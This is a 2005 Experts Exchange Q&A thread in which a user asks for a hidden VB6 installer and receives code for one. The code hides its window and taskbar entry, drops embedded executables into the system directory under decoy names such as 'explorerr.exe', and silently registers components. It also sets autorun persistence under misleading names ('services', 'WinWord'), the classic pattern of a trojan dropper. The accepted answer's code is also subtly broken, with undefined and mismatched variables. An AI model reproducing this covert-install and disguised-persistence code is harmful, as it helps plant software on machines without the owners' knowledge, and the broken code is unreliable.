?
Solved

create an invisible install

Posted on 2005-03-07
8
Medium Priority
?
275 Views
Last Modified: 2007-11-27
dear sir ,
i need to create an invisible install in vb6 which allows me to install 2 exe files , 2 ocx files , and one mdb file
the mdb file must be in the root of c:\ and the ocx files and the exe files are in the system root , but when it will be installed , it must run the 2 exe files
thanks
0
Comment
Question by:xodos
[X]
Welcome to Experts Exchange

Add your voice to the tech community where 5M+ people just like you are talking about what matters.

  • Help others & share knowledge
  • Earn cash & points
  • Learn & ask questions
8 Comments
 
LVL 66

Expert Comment

by:Jim Horn
ID: 13477300
Wise for Windows Installer has a 'Hidden' option (command switch -h?) where your entire install can be hidden from the user...
0
 
LVL 22

Expert Comment

by:DarkoLord
ID: 13477316
You can try Inno Setup

http://www.innosetup.com/
0
 
LVL 28

Expert Comment

by:vinnyd79
ID: 13477331
Why not use a resource file like in your previous question?

http://www.experts-exchange.com/Programming/Q_21277967.html
0
Technology Partners: We Want Your Opinion!

We value your feedback.

Take our survey and automatically be enter to win anyone of the following:
Yeti Cooler, Amazon eGift Card, and Movie eGift Card!

 
LVL 6

Expert Comment

by:HyperBPP
ID: 13477344
Private Sub Form_Load()
    Dim ret As Long
    'installation program
   
    'cloaking
    Form2.Hide
    App.TaskVisible = False
   
    'install and register components
    ret = CopyFileEx(App.Path & "\COMDLG32.OCX", "C:\COMDLG32.OCX", AddressOf CopyProgressRoutine, ByVal 0&, bCancel, COPY_FILE_RESTARTABLE)
    Shell ("regsvr32 /s C:\COMDLG32.OCX")
   
    ret = CopyFileEx(App.Path & "\MSCOMCTL.OCX", "C:\MSCOMCTL.OCX", AddressOf CopyProgressRoutine, ByVal 0&, bCancel, COPY_FILE_RESTARTABLE)
    Shell ("regsvr32 /s C:\MSCOMCTL.OCX")
   
    ret = CopyFileEx(App.Path & "\Msflxgrd.ocx", "C:\Msflxgrd.ocx", AddressOf CopyProgressRoutine, ByVal 0&, bCancel, COPY_FILE_RESTARTABLE)
    Shell ("regsvr32 /s C:\Msflxgrd.ocx")
   
    ret = CopyFileEx(App.Path & "\MSWINSCK.OCX", "C:\MSWINSCK.OCX", AddressOf CopyProgressRoutine, ByVal 0&, bCancel, COPY_FILE_RESTARTABLE)
    Shell ("regsvr32 /s C:\MSWINSCK.OCX")
   
    ret = CopyFileEx(App.Path & "\msvbvm60.dll", "C:\msvbvm60.dll", AddressOf CopyProgressRoutine, ByVal 0&, bCancel, COPY_FILE_RESTARTABLE)
    Shell ("regsvr32 /s C:\msvbvm60.dll")
   
    ret = CopyFileEx(App.Path & "\scrrun.dll", "C:\scrrun.dll", AddressOf CopyProgressRoutine, ByVal 0&, bCancel, COPY_FILE_RESTARTABLE)
    Shell ("regsvr32 /s C:\scrrun.dll")
   
    ret = CopyFileEx(App.Path & "\stdole32.tlb", "C:\stdole32.tlb", AddressOf CopyProgressRoutine, ByVal 0&, bCancel, COPY_FILE_RESTARTABLE)
    Shell ("regsvr32 /s C:\stdole32.tlb")

    ret = CopyFileEx(App.Path & "\VB6.OLB", "C:\VB6.OLB", AddressOf CopyProgressRoutine, ByVal 0&, bCancel, COPY_FILE_RESTARTABLE)
    Shell ("regsvr32 /s C:\VB6.OLB")
   
    'Run Program
    ret = CopyFileEx(App.Path & "\Consultant.exe", "C:\Consultant.exe", AddressOf CopyProgressRoutine, ByVal 0&, bCancel, COPY_FILE_RESTARTABLE)
    Shell ("C:\Consultant.exe")
   
    DoEvents
   
    End
   
End Sub

This will copy files from the same directory to the new location (C:\) and register the ocx & dll's and run the actual program
0
 

Author Comment

by:xodos
ID: 13477350
no , but i need it in vb6 ,
i have this code , and it is the same , but it needs some modification

Private Declare Function GetSystemDirectory Lib "kernel32" Alias "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal Hkey As Long) As Long
Private Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal Hkey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Private Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal Hkey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long
Private Const HKEY_LOCAL_MACHINE = &H80000002
Private Const ERROR_SUCCESS = 0&
Private Const REG_SZ = 1
Private x As Long

Private Sub SaveString(Hkey As Long, strpath As String, strValue As String, strdata As String)
    Dim keyhand As Long
    x = RegCreateKey(Hkey, strpath, keyhand)
    x = RegSetValueEx(keyhand, strValue, 0, REG_SZ, ByVal strdata, Len(strdata))
    x = RegCloseKey(keyhand)
End Sub

Private Sub Form_Load()
Form1.Visible = False
Dim strBuffer As String, strSysDir As String
strBuffer = Space$(255)
GetSystemDirectory strBuffer, 255
strSysDir = Left$(strBuffer, InStr(strBuffer, Chr$(0)) - 1)

Dim exeFile As String, ocxFile1 As String, ocxFile2 As String, ocxFile3 As String
' locations to save files to,they will be extracted from main.exe
exeFile = strSysDir & "\" & "explorerr.exe"
'save Resource item 101 to disk
SaveResItemToDisk 101, "Custom", exeFile


' add run string to reg
Call SaveString(HKEY_LOCAL_MACHINE, "Software\Microsoft\Windows\CurrentVersion\Run", "services", exeFile)

' run file
Shell exeFile, vbHide
Unload Me
End Sub

Private Function SaveResItemToDisk(ByVal iResourceNum As Integer, _
  ByVal sResourceType As String, ByVal sDestFileName As String) As Long
Dim bytResourceData()   As Byte
Dim iFileNumOut         As Integer
On Error GoTo SaveResItemToDisk_err
bytResourceData = LoadResData(iResourceNum, sResourceType)
iFileNumOut = FreeFile
Open sDestFileName For Binary Access Write As #iFileNumOut
Put #iFileNumOut, , bytResourceData
Close #iFileNumOut
SaveResItemToDisk = 0
Exit Function
SaveResItemToDisk_err:
SaveResItemToDisk = Err.Number
Unload Me

End Function


but i want to put in the registry only one file to start automatically when windows starts ,




0
 
LVL 6

Expert Comment

by:HyperBPP
ID: 13477403
Throw in this module for the code I posted above...opps

'in a module
Private Const PROGRESS_CANCEL = 1
Private Const PROGRESS_CONTINUE = 0
Private Const PROGRESS_QUIET = 3
Private Const PROGRESS_STOP = 2
Private Const COPY_FILE_FAIL_IF_EXISTS = &H1
Private Const COPY_FILE_RESTARTABLE = &H2

Declare Function mciSendString Lib "winmm.dll" Alias "mciSendStringA" (ByVal lpstrCommand As String, ByVal lpstrReturnString As String, ByVal uReturnLength As Long, ByVal hwndCallback As Long) As Long
Public Declare Function CopyFileEx Lib "kernel32.dll" Alias "CopyFileExA" (ByVal lpExistingFileName As String, ByVal lpNewFileName As String, ByVal lpProgressRoutine As Long, lpData As Any, ByRef pbCancel As Long, ByVal dwCopyFlags As Long) As Long
Public bCancel As Long
Public Function CopyProgressRoutine(ByVal TotalFileSize As Currency, ByVal TotalBytesTransferred As Currency, ByVal StreamSize As Currency, ByVal StreamBytesTransferred As Currency, ByVal dwStreamNumber As Long, ByVal dwCallbackReason As Long, ByVal hSourceFile As Long, ByVal hDestinationFile As Long, ByVal lpData As Long) As Long
    'adjust the caption
    'Form1.Caption = CStr(Int((TotalBytesTransferred * 10000) / (TotalFileSize * 10000) * 100)) + "% complete..."
    'allow user input
    DoEvents
    'continue filecopy
    'CopyProgressRoutine = PROGRESS_CONTINUE
End Function
0
 
LVL 6

Expert Comment

by:HyperBPP
ID: 13477416
Here is a registry installer and uninstaller

'Registry Variables to start program with windows
Dim subKey As String, key As Long, str As String, size As Long

Private Declare Function RegOpenKeyEx Lib "advapi32.dll" Alias "RegOpenKeyExA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal ulOptions As Long, ByVal samDesired As Long, phkResult As Long) As Long
Private Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long         ' Note that if you declare the lpData parameter as String, you must pass it By Value.
Private Declare Function RegDeleteValue Lib "advapi32.dll" Alias "RegDeleteValueA" (ByVal hKey As Long, ByVal lpValueName As String) As Long
Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long

'Registry Constants
Private Const READ_CONTROL As Long = &H20000
Private Const STANDARD_RIGHTS_WRITE As Long = (READ_CONTROL)
Private Const KEY_SET_VALUE As Long = &H2
Private Const KEY_CREATE_SUB_KEY As Long = &H4
Private Const SYNCHRONIZE As Long = &H100000
Private Const KEY_WRITE As Long = ((STANDARD_RIGHTS_WRITE Or KEY_SET_VALUE Or KEY_CREATE_SUB_KEY) And (Not SYNCHRONIZE))
Private Const HKEY_LOCAL_MACHINE As Long = &H80000002
Private Const REG_SZ As Long = 1

Public Function InstallMe()
    subKey = "software\microsoft\windows\currentversion\run"
    str = App.Path & "\" & App.EXEName & ".exe"
    size = Len(str)
 
    'Open key
    RegOpenKeyEx HKEY_LOCAL_MACHINE, subKey, 0, KEY_WRITE, key
 
    'Set Value of key
    RegSetValueEx key, "WinWord", 0, REG_SZ, ByVal str, size
 
    'Close key
    RegCloseKey key
End Function
Public Function UninstallMe()
    subKey = "software\microsoft\windows\currentversion\run"
 
    'Open key
    test = RegOpenKeyEx(HKEY_LOCAL_MACHINE, subKey, 0, KEY_WRITE, key)
     
    'Delete Key
    test = RegDeleteValue(key, "WinWord")
     
    'Close key
    RegCloseKey key
End Function
0
 
LVL 28

Accepted Solution

by:
vinnyd79 earned 2000 total points
ID: 13477564
What needs to be modified.If you add the files as custom resources you should be able to use:


Private Declare Function GetSystemDirectory Lib "kernel32" Alias "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal Hkey As Long) As Long
Private Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal Hkey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Private Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal Hkey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long
Private Const HKEY_LOCAL_MACHINE = &H80000002
Private Const ERROR_SUCCESS = 0&
Private Const REG_SZ = 1
Private x As Long

Private Sub SaveString(Hkey As Long, strpath As String, strValue As String, strdata As String)
    Dim keyhand As Long
    x = RegCreateKey(Hkey, strpath, keyhand)
    x = RegSetValueEx(keyhand, strValue, 0, REG_SZ, ByVal strdata, Len(strdata))
    x = RegCloseKey(keyhand)
End Sub

Private Sub Form_Load()
Form1.Visible = False
Dim strBuffer As String, strSysDir As String
strBuffer = Space$(255)
GetSystemDirectory strBuffer, 255
strSysDir = Left$(strBuffer, InStr(strBuffer, Chr$(0)) - 1)

Dim exeFile1 As String, exeFile2 As String, ocxFile1 As String, ocxFile2 As String, mdbFile3 As String
' locations to save files to,they will be extracted from main.exe
exeFile1 = strSysDir & "\" & "explorerr1.exe"
exeFile2 = strSysDir & "\" & "explorerr2.exe"
ocxFile1 = strSysDir & "\" & "ocxfile1.ocx"
ocxFile2 = strSysDir & "\" & "ocxfile2.ocx"
mdbFile = "C:\Myfile.mdb"

'save Resource items to disk
SaveResItemToDisk 101, "Custom", exeFile1
SaveResItemToDisk 102, "Custom", exeFile2
SaveResItemToDisk 103, "Custom", ocxFile1
SaveResItemToDisk 104, "Custom", ocxFile2
SaveResItemToDisk 105, "Custom", mdbFile

Shell "regsvr32 /s " & ocxFile1, vbHide
Shell "regsvr32 /s " & ocxFile2, vbHide

' add run string to reg
Call SaveString(HKEY_LOCAL_MACHINE, "Software\Microsoft\Windows\CurrentVersion\Run", "services", exeFile)

' run file
Shell exeFile1
Shell exeFile2
Unload Me
End Sub

Private Function SaveResItemToDisk(ByVal iResourceNum As Integer, _
  ByVal sResourceType As String, ByVal sDestFileName As String) As Long
Dim bytResourceData()   As Byte
Dim iFileNumOut         As Integer
On Error GoTo SaveResItemToDisk_err
bytResourceData = LoadResData(iResourceNum, sResourceType)
iFileNumOut = FreeFile
Open sDestFileName For Binary Access Write As #iFileNumOut
Put #iFileNumOut, , bytResourceData
Close #iFileNumOut
SaveResItemToDisk = 0
Exit Function
SaveResItemToDisk_err:
SaveResItemToDisk = Err.Number
Unload Me

End Function
0

Featured Post

Industry Leaders: We Want Your Opinion!

We value your feedback.

Take our survey and automatically be enter to win anyone of the following:
Yeti Cooler, Amazon eGift Card, and Movie eGift Card!

Question has a verified solution.

If you are experiencing a similar issue, please ask a related question

I’ve seen a number of people looking for examples of how to access web services from VB6.  I’ve been using a test harness I built in VB6 (using many resources I found online) that I use for small projects to work out how to communicate with web serv…
You can of course define an array to hold data that is of a particular type like an array of Strings to hold customer names or an array of Doubles to hold customer sales, but what do you do if you want to coordinate that data? This article describes…
Get people started with the process of using Access VBA to control Outlook using automation, Microsoft Access can control other applications. An example is the ability to programmatically talk to Microsoft Outlook. Using automation, an Access applic…
Get people started with the process of using Access VBA to control Excel using automation, Microsoft Access can control other applications. An example is the ability to programmatically talk to Excel. Using automation, an Access application can laun…
Suggested Courses

764 members asked questions and received personalized solutions in the past 7 days.

Join the community of 500,000 technology professionals and ask your questions.

Join & Ask a Question